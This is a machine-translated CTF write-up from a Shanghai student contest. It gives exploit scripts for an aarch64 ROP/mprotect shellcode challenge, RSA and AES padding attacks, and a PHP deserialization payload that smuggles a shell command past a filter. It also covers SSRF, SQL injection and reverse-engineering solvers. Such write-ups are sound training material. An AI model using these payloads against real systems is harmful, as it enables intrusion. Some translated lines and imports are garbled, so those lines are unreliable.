I took advantage of the weekend to play in the Shanghai College Students Network Security Contest, and finally finished third. This time Misc is really difficult, except for signing in. I can't do anything... A wave of Fudan masters. During the game, I played Crypto and part of the Web, and I also posted some wp of my teammates here.
Misc
check in
Direct base32 decoding.
pwn
baby_arm
arm architecture, the core idea is to change the parameters of the mprotect function to make the bss section executable.
Exp is as follows:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import us context.arch = 'aarch64' p = remote('106.75.126.171', 33865) start = p64(0x4007D8)+asm(shellcraft.aarch64.linux.sh()) p.sendafter('Name:', start.ljust(512, '\x00')) padding='a'*0x48 pop=0x4008CC lea=0x4008ac bss= 0x411068 payload = flat(padding, pop, 0, lea, 0, 1, bss, 7, 0x1000, 0, p64(0x411070)*0x100) p.send(payload) p.interactive()
Crypto
rsaaaaa
There are two points in this question. The first point is that m and c are given in RSA, and d and n are provided. The public and private keys randomly generated by the script here are basically impossible to obtain directly. We see that the server script only judges an equation:
As long as it is satisfied pow(c,D,N) == m
, we can choose a d by ourselves, and then make n=pow(c,d)-m
it.
The second point is the following code:
Here we are given a chance to decrypt, but we are not allowed to decrypt the plaintext. This test point has been published in suctf before. The idea is to let the server decrypt (c*pow(2,e,n))%n
, so that the plaintext obtained is 2*m
divided by 2.
The script is as follows: (written with socket, ugly)
# -*- coding: utf-8 -*- from hashlib import sha512 import socket import string import re from Crypto.Util.number import * from Crypto.Cipher import AES HOST='106.75.101.197' PORT=7544 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) def brute_force(pad, shavalue): dict = string.letters + string.digits key = "" for i1 in dict: tmp = key key1 = tmp + i1 for i2 in dict: tmp = key1 key2 = tmp + i2 for i3 in dict: tmp = key2 key3 = tmp + i3 for i4 in dict: tmp = key3 key4 = tmp + i4 final_key = key4 if sha512(pad+key4).hexdigest()==shavalue: print key4 return key4 content = sock.recv(1024).strip() print content pad=content[20+7:20+7+16] hash=content[20+33:] print pad print hash sock.recv(1024).strip() sock.send(str(brute_force(pad,hash))+"\n") print sock.recv(1024).strip() content=sock.recv(1024).strip() print content m=int(re.findall(":(.+?)\nand",content)[0],16) c=int(re.findall("ciphertext:0x(.+)",content)[0],16) d=97 n=pow(c,d)-m print n print sock.recv(1024).strip() sock.send(str(n)+"\n") print sock.recv(1024).strip() sock.send(str(d)+"\n") print sock.recv(1024).strip() msg1 = hex(m)[2:-1].decode('hex') content=sock.recv(1024).strip() print content n=int(re.findall("n=(.+?)\n",content)[0],16) e=int(re.findall("e=(.+?)\n",content)[0],16) c=re.findall("c=(.+)",content)[0] c=c+sock.recv(1024).strip() c=int(c,16) print c print sock.recv(1024).strip() sock.send(str((c*pow(2,e,n))%n)+"\n") content=sock.recv(1024).strip() print content m=int(re.findall("message:0x(.+)",content)[0],16) sock.recv(1024).strip() msg2 = hex(m/2)[2:-1].decode('hex') sock.send(str(m/2)+"\n") print sock.recv(1024).strip() content=sock.recv(1024).strip() flag=re.findall("flag:0x(.+)",content)[0] flag=flag.decode("hex") cipher = AES.new(msg2, AES.MODE_CBC, msg1) print cipher.decrypt(flag)
I encountered a pitfall in this question with the socket, that is, when receiving n, e, c from the server, the server sent a hexadecimal number with a length of about 29 after receiving c. At first, I didn’t know what it was What, it turned out that the script couldn't live and die, and the result sent was wrong.
I was stuck for a long time, and then found that the number of digits in c seems to be a bit small, and then I realized that the hexadecimal system was originally the latter part of c... I don’t know why it was sent in two steps when it was sent to me, so I have this paragraph code:
c=re.findall("c=(.+)",content)[0] c=c+sock.recv(1024).strip() c=int(c,16)
at last:
flag{ec35162f-94b3-47e4-8d2c-6da6bba0391f}
aessss
The problem with this topic is padding. Since padding is required for less than 256 bits, the bytes of padding are the number of missing bytes. However, if the plaintext is enough for 256 bytes, padding will not be performed according to the code:
def pad(self, s): s += (256 - len(s)) * chr(256 - len(s)) ret = ['\x00' for _ in range(256)] for index, pos in enumerate(self.s_box): ret[pos] = s[index] return ''.join(ret)
The biggest problem lies in unpad, unpad does not check, and only judges the number of filled bytes by the last byte.
def unpad(self, s): ret = ['\x00' for _ in range(256)] for index, pos in enumerate(self.invs_box): ret[pos] = s[index] return ''.join(ret[0:-ord(ret[-1])])
Moreover, the server provides the function of encrypting the current flag and appending information to the current flag. Our idea of using it is as follows:
- Select choice2, append
256-33 =223
bytes, so that the current flag does not need to be filled, and the last byte appended is set tochr(256-32=224)
- The server appends our information to the flag, replaces the s box, and assigns the result to the flag variable in the class.
- We choose choice2 again. Here, because we need to add, the server will take out the flag variable in the class for inverse S-box replacement and unpad, so that according to this unpad algorithm, all the following 224 bytes will be removed as padding, and the plaintext will be left with real The first 32 bits of flag
- We enter a character i at this time, then the object of encryption at this time is
flag[:32]+i
- Choose choice1 to encrypt the current flag, control i to blast, if the obtained ciphertext is the same as the ciphertext encrypted by the original flag, you will get the last byte of the flag
- Blast byte by byte until all flags are obtained.
The problem-solving script is as follows:
# -*- coding: utf-8 -*- from hashlib import sha256 import socket import string HOST='106.75.13.64' PORT=54321 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) def brute_force(pad, shavalue): dict = string.letters + string.digits key = "" for i1 in dict: tmp = key key1 = tmp + i1 for i2 in dict: tmp = key1 key2 = tmp + i2 for i3 in dict: tmp = key2 key3 = tmp + i3 for i4 in dict: tmp = key3 key4 = tmp + i4 final_key = key4 if sha256(key4+pad).hexdigest()==shavalue: print key4 return key4 def choice1(): sock.send("1\n") result=sock.recv(1024).strip()[30:] sock.recv(1024).strip() return result def choice2(pad): sock.send("2\n") sock.recv(1024).strip() sock.send(pad+"\n") sock.recv(1024).strip() sock.recv(1024).strip() def choice3(str): sock.send("3\n") sock.recv(1024).strip() sock.send(str+"\n") result=sock.recv(1024).strip()[33:] sock.recv(1024).strip() return result content = sock.recv(1024).strip() pad=content[12:12+16] hash=content[33:33+64] sock.recv(1024).strip() sock.send(str(brute_force(pad,hash))+"\n") print sock.recv(1024).strip() flag_enc=choice1() flag="" for i in range(33): a = ''.join(['a' for _ in range(223)]) a = a[:-1] + chr(224+i) for c in string.printable: print c+flag choice2(a) choice2(c+flag) if choice1() == flag_enc: flag=c+flag print "success:",flag break
Blast until the last byte collapses. . . It should be that all the flags have been removed, but you can guess the flag
flag{H4ve_fun_w1th_p4d_and_unp4d}
Web
what are you doing?
Prompt to see robots.txt, found source.php and flag.php.
Visit source.php, prompt the administrator to log in, change the package to use x-client-ip to bypass, and prompt to post admin and url parameters.
After url is put into the URL, a path is obtained, and the access should be the source code.
The guess is SSRF, using the file protocol to read the flag:
Access to get flag.
Can you hack me?
There is source code leakage, index.php.swp, restored with vim:
<?php error_reporting(0); class come{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim($v)); } } function waf($str){ $str=preg_replace("/[<>*;|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function echo($host){ system("echo $host"); } function __destruct(){ if (in_array($this->method, array("echo"))) { call_user_func_array(array($this, $this->method), $this->args); } } } $first='hi'; $var='var'; $bbb='bbb'; $ccc='ccc'; $i=1; foreach($_GET as $key => $value) { if($i===1) { $i++; $$key = $value; } else{break;} } if($first==="doller") { @parse_str($_GET['a']); if($var==='give'){ if($bbb==='me'){ if($ccc==='flag'){ echo "<br>welcome</br>"; $come=@$_POST['come']; unserialize($come); } } else{ echo "<br>think about it</br>"; } } else{ echo "no"; } } else{ echo "can you hack me?"; } ?>
Obvious deserialization, the callback function calls the system of the echo function, there is waf, the flag filter is bypassed by double writing, and the backquote is not filtered
payload:
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:30:"`nl${IFS}../../../../flaflagg`";}}
GOOD JOB
<?php //error_reporting(0); //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']); $dir=md5("icq"); $sandbox = '/var/sandbox/' . $dir; @mkdir($sandbox); @chdir($sandbox); if($_FILES['file']['name']){ $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name']; if (!is_array($filename)) { $filename = explode('.', $filename); } $ext = end($filename); if($ext==$filename[count($filename) - 1]){ die("emmmm..."); } $new_name = (string)rand(100,999).".".$ext; move_uploaded_file($_FILES['file']['tmp_name'],$new_name); $_ = $_POST['hehe']; if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){ include($_); } unlink($new_name); } else{ highlight_file(__FILE__); }
Code audit, I saw the innermost include and thought it was an upgraded version of the one-line-challenge of this year's HITCON, but I got stuck at the first step...
The first step is the upload question of Wangding Cup, and learned a wave of bypassing with arrays.
After that, the file name contains a random number and is directly blasted. There is an unlike use /.
bypass.
The organizer directly shut down the platform... It's too cruel, and I want to repeat it, so I can only look at the wp of the masters.
Web4
The first is sql injection, first classic ' or 1# 和
'or 0#
, and then run a wave with sqlmap, level5 is useless.
Paste the payload of the blind injection into the url of sqlmap, and sqlmap will directly inject the administrator password:
Decryption, the password is adminpassword
, I went in and found that it was a file upload, and it kept showing that uploaded to ./***.txt please upload to ./flag.php
the access file was not found, and I always wanted to getshell stuck here.
After the game , I saw the solution of the master’s question and found that my thinking was too rigid... This question only needs to be uploaded to flag.php to get the flag%02
. I've heard...), I'm too good at it.
Reverse
CPP
The two key functions, the first sub_40111A simple XOR and shift, so the inverse algorithm is to first XOR the array bit by bit, and then shift the array to the left by six bits | shift the array to the right by two bits. The second Sub_401332 reviewed discrete mathematics. After various logical operations, it is actually equivalent to XOR in the end. Adjacent numbers are XORed and then a total of four rounds.
The script is as follows:
flag1='' num1=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8, 0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A, 0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61, 0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5, 0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15, 0xED, 0xD5] for i in range(4): for j in range(len(num1)-1,0,-1): num1[j]=num1[j-1]^num1[j] for i in range(len(num1)): flag1+=chr((num1[i]^i)>>2|(((num1[i]^i)<<6)&0xff)) print flag1 #flag{W0w_y0u_m4st3r_C_p1us_p1us}
What is it
Blast md5 first:
import itertools import string from hashlib import md5 def crackMd5(): product = itertools.permutations(string.letters[:26],6) for test in product: md5_test = md5("".join(test)).hexdigest() print "".join(test) var1 = 0 var2 = 0 for i in range(len(md5_test)): if md5_test[i]=='0': var1 += 1 var2 += i if 10*var1 + var2 == 0x193: print "ans : " print "".join(test) print md5_test return print "failed!" crackMd5()
ozulmt This is the string that ran out, and then the dynamic debugging can directly see the flag in the memory, but the format needs to be added, just add it according to checkht.
flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}
Cyvm
The virtual machine is reversed, and Angr runs directly.
import reg import claripy p = angr.Project('cyvm') flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(32)] flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) st = p.factory.blank_state(addr=0x400CB1,stdin=flag) for k in flag_chars: st.solver.add(k >= 32) st.solver.add(k <= 126) st.solver.add(flag_chars[0] == 'f') st.solver.add(flag_chars[1] == 'l') st.solver.add(flag_chars[2] == 'a') st.solver.add(flag_chars[3] == 'g') st.solver.add(flag_chars[4] == '{') sm = p.factory.simulation_manager(st) sm.explore(find=0x400CD2) found = sm.found[0] solution = found.solver.eval(flag, cast_to=str) print solution
flag{7h15_15_MY_f1rs7_s1mpl3_Vm}
Summarize
The Web feels a little brainy, and the Crypto questions have to be scripted, and the socket is a bit difficult to use, so I have to switch to pwntools....
Brother Dai is the one who makes Misc.